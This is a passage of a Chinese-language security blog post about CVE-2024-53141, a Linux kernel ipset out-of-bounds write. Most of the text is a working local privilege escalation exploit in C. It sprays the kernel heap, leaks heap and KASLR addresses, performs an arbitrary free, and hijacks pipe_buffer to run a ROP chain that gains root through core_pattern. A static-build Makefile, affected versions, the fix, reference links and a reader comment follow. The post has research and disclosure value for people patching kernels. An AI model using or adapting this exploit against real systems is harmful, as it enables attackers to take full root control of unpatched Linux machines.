        // 设置 socket 缓冲区大小 (SO_SNDBUF, SO_RCVBUF)
        SYSCHK(setsockopt(skbuff_kaslr_leak[i][0], SOL_SOCKET, SO_SNDBUF, &val, 4));
        SYSCHK(setsockopt(skbuff_kaslr_leak[i][1], SOL_SOCKET, SO_SNDBUF, &val, 4));
        SYSCHK(setsockopt(skbuff_kaslr_leak[i][0], SOL_SOCKET, SO_RCVBUF, &val, 4));
        SYSCHK(setsockopt(skbuff_kaslr_leak[i][1], SOL_SOCKET, SO_RCVBUF, &val, 4));
    }

    // --- 喷射 sk_buff (kmalloc-cg-1024) ---
    // 向 socket 写入数据,触发 skb 分配 (大小 0x200 + 头 ~ 1KB)
    // 这是为了后续 KASLR 泄漏和 UAF -> RIP 控制阶段做准备
    // 目的是让堆中充满 skb,增加后续操作命中 skb 的概率
    for (int i = 0; i < 0x400; i++)
    {
        for (int j = 0; j < 0x100; j++)
        {
            // 写入 0x200 字节,加上 skb 头,通常会分配在 kmalloc-1024
            write(skbuff_kaslr_leak[i][0], buf, 0x200);
            write(skbuff_kaslr_leak[i][1], buf, 0x200);
        }
    }

Loop: // 如果堆地址泄漏失败,则跳转回这里重试
    // Fork 子进程进行漏洞利用尝试
    if (fork() != 0) // 父进程
    {
        int status = 0;
        wait(&status); // 等待子进程结束
        if (status == 0) // 子进程 exit(0) 表示泄漏失败
        {
            puts("Leak kheap fail, retry");
            goto Loop; // 跳转回 Loop 重试
        }
        // 如果子进程非正常退出或 exit 非 0 (表示可能成功或正在进行)
        // 父进程暂停自身,等待子进程完成 ROP 或被 crash 进程接管
        raise(SIGSTOP);
        // 父进程理论上不会再继续执行,除非被外部信号唤醒
        exit(0); // 添加退出,防止意外继续
    }

    // --- 子进程:执行实际的漏洞利用 ---
    // 创建新的命名空间 (User, Network, IPC)
    // User NS: 允许执行需要 CAP_NET_ADMIN 的操作 (如 ipset)
    // Net NS: 隔离网络环境
    // IPC NS: 隔离消息队列
    SYSCHK(unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWIPC));

    // --- 准备 msg_msgseg 喷射 ---
    // 创建大量 System V 消息队列
    for (int i = 0; i < 0x4000; i++)
    {
        msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
        SYSCHK(msqid[i]);
    }

    // --- 准备堆地址泄漏阶段的堆喷射 ---
    // 创建用于 kmalloc-cg-512 喷射的 socket pairs
    for (int i = 0; i < 0x100; i++)
    {
        SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, skbuff_heap_leak[i]));
    }

    msg.mtype = 1; // 设置消息类型
    int fail = 1; // 未使用的变量

    // 打开 Netlink 套接字 (用于与 ipset 交互)
    int sock_fd = netlink_open(NETLINK_NETFILTER);
    if (sock_fd < 0)
    {
        fprintf(stderr, "Failed to open Netlink socket\n");
        return EXIT_FAILURE;
    }

    // --- 阶段一:内核堆地址泄漏 ---
    printf("[+] Stage 1: Kernel Heap Leak\n");
    // 循环创建 ipset 对象,并进行堆喷射
    for (int i = 0; i < 0x1000; i++)
    {
        sprintf(name, "%d", i); // 生成唯一的 ipset 名称
        if (i == 0x800) // 在分配目标 ipset (名称 "2048") 之前
        {
            printf("[+] Spraying skbs (kmalloc-cg-512) before target allocation...\n");
            // 喷射 skb (kmalloc-cg-512),尝试将目标 ipset 夹在 skb 之间
            for (int k = 0; k < 0x100; k++)
                // 写入 0x80 字节,加上头,通常分配在 kmalloc-128 或 kmalloc-192
                // 这里写 0x80 目标是 kmalloc-512? 可能计算有误或依赖特定内核/配置
                // 如果目标是 512,应该写接近 512 - skb_shared_info - skb_head 的大小
                SYSCHK(write(skbuff_heap_leak[k][0], buf, 0x80));
        }

        // 创建 ipset,目标 slab 为 kmalloc-cg-512
        // 当 i == 0x800 时,extra=1,会添加 WITH_COMMENT 标志
        create_ip_set_kmalloc_512(sock_fd, name, "bitmap:ip", AF_INET, i == 0x800);

        // 向每个创建的 ipset 添加一个元素 (-0x35),防止 OOB 循环失控
        // 当 OOB 循环访问到这个 IP 时,adtfn 会返回 -IPSET_ERR_EXIST,循环会停止
        add_ip_to_set(sock_fd, name, AF_INET, htonl(-0x35));

        if (i == 0x800) // 在分配目标 ipset (名称 "2048") 之后
        {
            printf("[+] Spraying skbs (kmalloc-cg-512) after target allocation...\n");
            // 再次喷射 skb (kmalloc-cg-512)
            for (int k = 0; k < 0x100; k++)
                SYSCHK(write(skbuff_heap_leak[k][1], buf, 0x80));
            printf("[+] Triggering OOB write for heap leak...\n");
            // 触发漏洞,目标是名称为 "2048" (0x800 的字符串形式) 的 ipset
            // OOB 写会将 kmalloc-192 的指针写入相邻的 skb (来自 skbuff_heap_leak)
            trigger_oob_leak(sock_fd, "800", AF_INET); // 使用 "800" 而不是 "2048"
        }
    }

    // --- 读取泄漏的地址 ---
    printf("[+] Reading potential leaked heap addresses...\n");
    // 从 skbuff_heap_leak socket 中读取数据 (使用 MSG_PEEK 不移除数据)
    // 检查缓冲区开头是否有非零值,这很可能是被 OOB 写写入的内核地址
    for (int i = 0; i < 0x100; i++)
    {
        // 尝试从 socket pair 的两端读取
        recv(skbuff_heap_leak[i][0], buf, 0x80, MSG_PEEK);
        if (*(size_t*)buf != 0) // 检查读取到的数据前 8 字节是否非零
        {
            pipe_buf_addr = *(size_t *)buf; // 保存泄漏的地址
            printf("[+] Leaked address found: 0x%lx from skbuff_heap_leak[%d][0]\n", pipe_buf_addr, i);
            break; // 找到一个就停止
        }
        recv(skbuff_heap_leak[i][1], buf, 0x80, MSG_PEEK);
        if (*(size_t*)buf != 0)
        {
            pipe_buf_addr = *(size_t *)buf;
            printf("[+] Leaked address found: 0x%lx from skbuff_heap_leak[%d][1]\n", pipe_buf_addr, i);
            break;
        }
    }

    printf("Leaked potential kernel heap addr: 0x%lx\n", pipe_buf_addr);
    if (pipe_buf_addr == 0) // 如果没有泄漏到地址
    {
        printf("[-] Heap leak failed.\n");
        exit(0); // 退出,父进程会重试
    }

    // --- 猜测 pipe_buffer 地址 ---
    // 基于泄漏的 kmalloc-192 地址,猜测一个对齐的 kmalloc-1024 地址
    // pipe_buffer 通常分配在 kmalloc-1024
    // 清除低 28 位 (0x10000000 - 1),得到一个比较大的区域基址
    pipe_buf_addr &= ~(0x10000000 - 1); // 对齐猜测地址
    printf("Guessed target pipe_buffer base addr: 0x%lx\n", pipe_buf_addr);

    // --- 阶段二:任意地址释放 (Arbitrary Free) ---
    printf("[+] Stage 2: Arbitrary Free via OOB write on msg_msgseg->next\n");
    // 循环创建 ipset 对象 (kmalloc-cg-2048) 并喷射 msg_msgseg
    for (int i = 0; i < 0x1000; i++)
    {
        sprintf(name, "x%d", i); // 新的 ipset 名称前缀 'x'
        if (i == 0x800) // 在分配目标 ipset ("x2048") 之前
        {
            printf("[+] Spraying msg_msgseg (kmalloc-cg-2048) before target allocation...\n");
            // 喷射 msg_msgseg (目标 kmalloc-cg-2048)
            // 发送的消息大小 = PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE
            // 目的是让消息体跨越页边界,触发 msg_msgseg 分配
            // KMALLOC_CG_2K (0x800) 是目标 slab 大小
            for (int k = 0; k < 0x1000; k++)
                SYSCHK(msgsnd(msqid[k], &msg, PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE, 0));
        }

        // 创建 ipset,目标 slab 为 kmalloc-cg-2048
        // 当 i == 0x800 时,extra=1,添加 WITH_COUNTERS 标志
        create_ip_set_kmalloc_2048(sock_fd, name, "bitmap:ip", AF_INET, i == 0x800);

        // 向每个 ipset 添加一个元素 (-0x40 + 0x3b = -5),防止 OOB 循环失控
        // OOB 循环从 ip = 0xe0000000 开始,需要很长时间才能到达 -5,所以这个可能不是主要停止机制
        // 可能是为了确保 ipset 内部状态一致性
        add_ip_to_set(sock_fd, name, AF_INET, htonl(-0x40 + 0x3b));

        if (i == 0x800) // 在分配目标 ipset ("x2048") 之后
        {
            printf("[+] Spraying msg_msgseg (kmalloc-cg-2048) after target allocation...\n");
            // 再次喷射 msg_msgseg,完成对目标 ipset 的夹逼
            for (int k = 0; k < 0x1000; k++)
                SYSCHK(msgsnd(msqid[k + 0x1000], &msg, PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE, 0));
            printf("[+] Triggering OOB write to overwrite msg_msgseg->next...\n");
            // 触发漏洞,目标是名称为 "x2048" (0x800 的字符串形式加'x') 的 ipset
            // OOB 写会将猜测的 pipe_buf_addr 写入相邻 msg_msgseg 的 next 字段
            trigger_oob_write(sock_fd, "x800", AF_INET); // 使用 "x800"
        }
    }

    // --- 触发任意 Free ---
    printf("[+] Freeing messages to trigger arbitrary free at 0x%lx...\n", pipe_buf_addr);
    // 接收所有消息,这将调用 free_msg
    // 当处理到被篡改 next 指针的 msg_msgseg 时,会 kfree(pipe_buf_addr)
    char *read_only = SYSCHK(mmap(0, 0x1000, PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0)); // 只读内存,防止意外写入
    for (int i = 0; i < 0x2000; i++) // 接收之前发送的所有消息
        msgrcv(msqid[i], read_only, PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE, 1, IPC_NOWAIT); // IPC_NOWAIT 避免阻塞
    munmap(read_only, 0x1000); // 释放只读内存

    // --- 阶段三:KASLR 绕过 ---
    printf("[+] Stage 3: KASLR Bypass\n");
    // --- 回收被释放的内存为 pipe_buffer ---
    printf("[+] Allocating pipe_buffers to reclaim the freed chunk...\n");
    for (int i = 0; i < NPIPE; i++)
        SYSCHK(pipe(pipe_fd[i])); // 创建管道,分配 pipe_buffer (kmalloc-1024)

    // --- 填充 pipe_buffer 并准备泄漏 ---
    printf("[+] Writing to pipes to populate pipe_buffers...\n");
    for (int i = 0; i < NPIPE; i++)
    {
        SYSCHK(write(pipe_fd[i][1], buf, 0x1000)); // 向管道写入数据,填充 pipe_buffer (包括 ops 指针)
    }

    #define PIPE_BUFFER_OFFS_OPS 0x10 // pipe_buffer->ops 在结构体中的偏移

    // --- 尝试从 skb 中泄漏 pipe_buffer->ops ---
    printf("[+] Reading skbs to leak pipe_buffer->ops...\n");
    KERNEL_BASE = 0; // 重置 KERNEL_BASE
    // 遍历之前喷射的 skbuff_kaslr_leak socket
    for (int i = 0; i < 0x400; i++)
    {
        for (int j = 0; j < 0x100; j++)
        {
            // 读取 skb 数据。如果这个 skb 的内存被 pipe_buffer 回收了,就能读到 pipe_buffer 的内容
            read(skbuff_kaslr_leak[i][0], buf, 0x200);
            // 检查偏移 0x10 处是否像一个内核地址 (高位置位)
            if ((*(size_t *)&buf[PIPE_BUFFER_OFFS_OPS]) > 0xffffffff80000000) {
                KERNEL_BASE = *(size_t *)&buf[PIPE_BUFFER_OFFS_OPS]; // 获取 ops 指针
                printf("[+] Leaked pipe_buffer->ops = 0x%lx from skbuff_kaslr_leak[%d][0], iter %d\n", KERNEL_BASE, i, j);
                goto found_ops; // 找到即跳转
            }

            read(skbuff_kaslr_leak[i][1], buf, 0x200);
            if ((*(size_t *)&buf[PIPE_BUFFER_OFFS_OPS]) > 0xffffffff80000000) {
                KERNEL_BASE = *(size_t *)&buf[PIPE_BUFFER_OFFS_OPS];
                printf("[+] Leaked pipe_buffer->ops = 0x%lx from skbuff_kaslr_leak[%d][1], iter %d\n", KERNEL_BASE, i, j);
                goto found_ops; // 找到即跳转
            }
        }
    }

found_ops:
    if (KERNEL_BASE == 0) {
        printf("[-] Failed to leak pipe_buffer->ops.\n");
        exit(1); // 泄漏失败则退出
    }

    // --- 计算内核基地址 ---
    KERNEL_BASE -= ANON_PIPE_BUF_OPS_OFF; // KERNEL_BASE = ops_addr - ops_offset
    printf("[+] Calculated KERNEL_BASE = 0x%lx\n", KERNEL_BASE);
    if (KERNEL_BASE < 0xffffffff80000000) {
        printf("[-] Invalid KERNEL_BASE calculated.\n");
        exit(1);
    }

    // --- 阶段四:控制 RIP ---
    printf("[+] Stage 4: RIP Control\n");
    // --- 构造伪造的 pipe_buffer 和 ROP 链 ---
    printf("[+] Building fake pipe_buffer with ROP chain at user addr %p, kernel addr 0x%lx\n", buf, pipe_buf_addr);
    build_fake_pipe_buffer_with_rop_chain(pipe_buf_addr, (char *)buf);

    // --- UAF: 回收 pipe_buffer 为 skb ---
    printf("[+] Reclaiming target pipe_buffer chunk with fake buffer via skb spray...\n");
    // 读取 skb 会释放其内存 (第一次 UAF 触发点)
    // 这里需要确保目标 pipe_buffer 已经被释放
    // 然后再次喷射 skb (使用 skbuff_heap_leak,目标 kmalloc-512)
    // 目标是用包含 ROP payload 的 buf 来覆盖 UAF 的 pipe_buffer 内存
    for (int i = 0; i < 0x100; i++)
    {
        // 使用 skbuff_heap_leak (kmalloc-512?) 写入 0x200 字节 payload
        SYSCHK(write(skbuff_heap_leak[i][1], buf, 0x200));
    }

    // --- 触发 RIP 控制 ---
    printf("[+] Closing pipes to trigger pipe_buf_release and RIP control...\n");
    // 关闭所有管道,这将触发 pipe_release -> pipe_buf_release
    // 如果我们成功用伪造的 pipe_buffer 覆盖了 UAF 对象,
    // pipe_buf_release 会调用伪造的 ops->release (PIVOT3),启动栈迁移和 ROP 链
    for (int i = 0; i < NPIPE; i++)
    {
        close(pipe_fd[i][0]);
        close(pipe_fd[i][1]);
    }

    printf("[+] ROP chain should be executing... If not, exploit failed.\n");
    // ROP 链执行 msleep,此时子进程应该暂停
    // crash 进程会检测到 core_pattern 变化并崩溃,执行提权 payload

    return EXIT_SUCCESS; // 子进程正常退出 (如果 ROP 链没有崩溃或 msleep 结束)
}

这是makefile(上面的代码保存为exploit.c):

LIBMNL_DIR = $(realpath ./)/libmnl_build
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build

LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl
INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include
CFLAGS = -static -s

exploit: exploit.c
    gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS)

prerequisites: libnftnl-build

libmnl-build : libmnl-download
    tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2
    cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install`
    cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc`
    cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install

libnftnl-build : libmnl-build libnftnl-download
    tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz
    cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install`
    cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc`
    cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install

libmnl-download :
    mkdir $(LIBMNL_DIR)
    wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2

libnftnl-download :
    mkdir $(LIBNFTNL_DIR)
    wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz

run:
    ./exploit

clean:
    rm -f exploit
    rm -rf $(LIBMNL_DIR)
    rm -rf $(LIBNFTNL_DIR)

复现视频参考:https://cdn-0.securityonline.info/wp-content/uploads/2025/04/LPE.mp4

受影响版本与修复方案

  • 受影响版本
    Linux内核v2.6.39至v4.19.324、v6.6.62至v6.12.1。
  • 修复补丁
    在CIDR处理后添加对ip的重新检查

参考链接

https://ubuntu.com/security/CVE-2024-53141
https://nvd.nist.gov/vuln/detail/CVE-2024-53141
https://www.wiz.io/vulnerability-database/cve/cve-2024-53141
https://gbhackers.com/poc-released-for-linux-kernel-vulnerability/

  • 发表于 2025-05-06 09:00:03
  • 阅读 ( 2748 )
  • 分类:操作系统

1 条评论

有时会get root shell faild!
https://github.com/google/security-research/tree/master/pocs/linux/kernelctf/CVE-2024-53141_lts/exploit/lts-6.6.62 这里有完整exp,你重新弄一下试试
请先 登录 后评论
请先 登录 后评论
吃不饱的崽
吃不饱的崽

4 篇文章

站长统计